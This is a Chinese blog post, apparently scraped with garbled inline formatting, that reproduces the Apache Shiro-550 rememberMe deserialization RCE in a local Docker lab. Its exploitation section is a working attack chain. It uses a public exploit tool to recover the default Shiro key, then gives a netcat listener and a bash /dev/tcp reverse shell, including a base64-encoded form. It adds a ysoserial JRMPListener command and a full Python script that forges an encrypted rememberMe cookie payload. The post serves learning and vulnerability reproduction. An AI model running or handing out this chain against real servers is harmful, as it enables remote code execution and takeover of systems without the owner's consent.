Shiro-550反序列化漏洞複現及漏洞利用複現總結
-
- 前言
- 什麼是序列化?
- 什麼是反序列化?
- 環境搭建
-
- 環境說明
- 判斷是否存在Shiro反序列化漏洞
- Shiro rememberMe反序列化漏洞(Shiro-550)複現
-
- 環境說明
- 漏洞原理
- 漏洞特征
- 漏洞版本
- 複現過程
- Shiro-550漏洞利用
-
- 反彈shell
- 參考
前言
最近參與某項工作,有很多東西都需要補充學習,本文根據一些視訊教程和網頁部落格總結而來,很多網站都存在這反序列化漏洞,學習一下作為知識儲備,通過寫這篇blog也幫助我理清思路。
什麼是序列化?
面向對象語言在存儲對象的時候有一個很難存儲的問題,就考慮将對象轉換成字元串進行持久化存儲,可以友善網絡傳輸。即一個對象序列化,轉化成字元串,然後傳輸給别人,再反序列化回來,即可做到網絡傳輸。
什麼是反序列化?
與序列化相反,反序列化就是将字元串轉換成對象的過程。
環境搭建
環境說明
- kali:Linux kali 5.10.0-kali3-amd64
判斷是否存在Shiro反序列化漏洞
- 在指令行中輸入:
(如果此處出現無法定位軟體包的問題,可以使用指令apt-get install docker
更新一下)apt-get update
Shiro-550反序列化漏洞複現及漏洞利用複現總結 - 輸入
apt-get install docker-compose
Shiro-550反序列化漏洞複現及漏洞利用複現總結 - 安裝好後,使用
指令重新開機一下reboot
- 啟動服務:
service docker start
(這裡的服務每次開機都需要重新啟動一下)
使用指令後,會出現一個會話框,輸入kali目前使用者的密碼即可。
Shiro-550反序列化漏洞複現及漏洞利用複現總結 - 輸入指令下載下傳shiro:
(這個應該要在root下進行,或者普通使用者sudo一下)docker pull medicean/vulapps:s_shiro_1
Shiro-550反序列化漏洞複現及漏洞利用複現總結 - 開啟shiro:
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
Shiro-550反序列化漏洞複現及漏洞利用複現總結 - 開啟後,在kali自帶的火狐浏覽器中輸入
或者localhost
即可:本機的ip位址
Shiro-550反序列化漏洞複現及漏洞利用複現總結 - 點選
,任意輸入賬号和密碼,勾選Log in
。(此時打開火狐的代理,在擴充元件中添加,并設定ip和端口與Burp中對應,此處我是127.0.0.1和8080)remember me
Shiro-550反序列化漏洞複現及漏洞利用複現總結 - 打開kali中的抓包工具,此處使用Burp Suite,開啟抓包:
Shiro-550反序列化漏洞複現及漏洞利用複現總結 - 回到網頁,點選
,再次回到Burp Suite,Burp已經抓到包,滑鼠右鍵—選擇Login
發送給重發器—點選工具欄上的send to Repeater
:Repeater
Shiro-550反序列化漏洞複現及漏洞利用複現總結 - 進入重發器
之後,點選轉發Repeater
,可以看到傳回的包中含有字段send
,說明存在Shiro反序列化漏洞:remenberMe=deleteMe
Shiro-550反序列化漏洞複現及漏洞利用複現總結
Shiro rememberMe反序列化漏洞(Shiro-550)複現
環境說明
- python 2.7
- kali Linux
漏洞原理
Apache Shiro架構提供了記住密碼的功能(Remember Me),目前這個功能在很多網站上都存在,使用者在登入一個網站的時候,登入的資訊會被序列化、加密并編碼,在請求服務的時候,服務端會對Remember Me中存的cookie值,先解碼和解密,然後再反序列化,這裡就存在着反序列化RCE漏洞。
漏洞特征
- 使用抓包工具截取的時候,傳回包中包含rememberMe=deleteMe字段
漏洞版本
- Apache Shiro < 1.2.4
複現過程
-
在github上下載下傳exp工具(github上有很多這樣的工具,可以根據自己的需求進行下載下傳):
github下載下傳位址:https://github.com/insightglacier/Shiro_exploit
網盤下載下傳位址:https://pan.baidu.com/s/1i–OYUMKD20V7B8fW028Og(提取碼:36yr)
下載下傳之後是一個zip檔案:
Shiro-550反序列化漏洞複現及漏洞利用複現總結 - 下載下傳完畢之後,複制到kali中,使用指令
進行解壓,解壓之後,繼續在終端中輸入指令unzip -o 檔案名
安裝相關的包(此處可能需要先執行指令安裝pip)pip install pycrypto
- 執行指令:
(後面位址為python shiro_exploit.py -u http://192.168.14.128:80
)本機ip位址:開啟Shiro步驟的端口一緻
4. 此時擷取到了一個Shiro Key:kPH+bIxk5D2deZiIxcaaaA==Shiro-550反序列化漏洞複現及漏洞利用複現總結
Shiro-550漏洞利用
反彈shell
可以利用反彈得到的Shiro Key進行shell的反彈,反彈的原理可以看一下我之前的blog,有一些關于反彈shell的複現,如果隻想看懂下文,看這一篇即可:https://blog.csdn.net/weixin_44283446/article/details/115133751?spm=1001.2014.3001.5501
- 在監聽方開啟監聽(端口可以變化):
nc -nlvp 1231
Shiro-550反序列化漏洞複現及漏洞利用複現總結 - 在被監聽方執行指令:
bash -i >& /dev/tcp/監聽方的ip位址/1231 0>&1
(這個地方端口的設定和監聽方要一緻)
Java Runtime 提供了線上編碼位址:http://www.jackson-t.ca/runtime-exec-payloads.html,将
輸入進去,就可以得到比對Bash的編碼,在被監聽方執行這個bash -i >& /dev/tcp/監聽方的ip位址/1231 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0LjEyOC8xMjMxIDA+JjE=}|{base64,-d}|{bash,-i}
Shiro-550反序列化漏洞複現及漏洞利用複現總結 - 使用
檔案中JRMP監聽子產品,監聽6666端口并執行反彈shell指令ysoserial.jar
,其中java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'
在github上下載下傳下來的ysoserial.jar
包中帶有:Shiro_Exploit-master
Shiro-550反序列化漏洞複現及漏洞利用複現總結 - 建立一個
檔案,輸入以下代碼:Shiro.py
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
# 此處使用前面拿到的Shiro Key
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
使用指令
python shiro.py 被監聽方ip位址:6666
執行
Shiro.py
生成payload:
- 利用得到的rememberMe的值去構造資料包,生成cookie,發送payload。回到Buip Suite,在抓到的包中添加remenberMe的值,添加完畢後點選
:forword
Shiro-550反序列化漏洞複現及漏洞利用複現總結 - 點選
後,回到kali,拿到反彈shell:forword
Shiro-550反序列化漏洞複現及漏洞利用複現總結
參考
https://cloud.tencent.com/developer/article/1657019
https://www.cnblogs.com/xiaozi/p/13239046.html
https://xz.aliyun.com/t/8445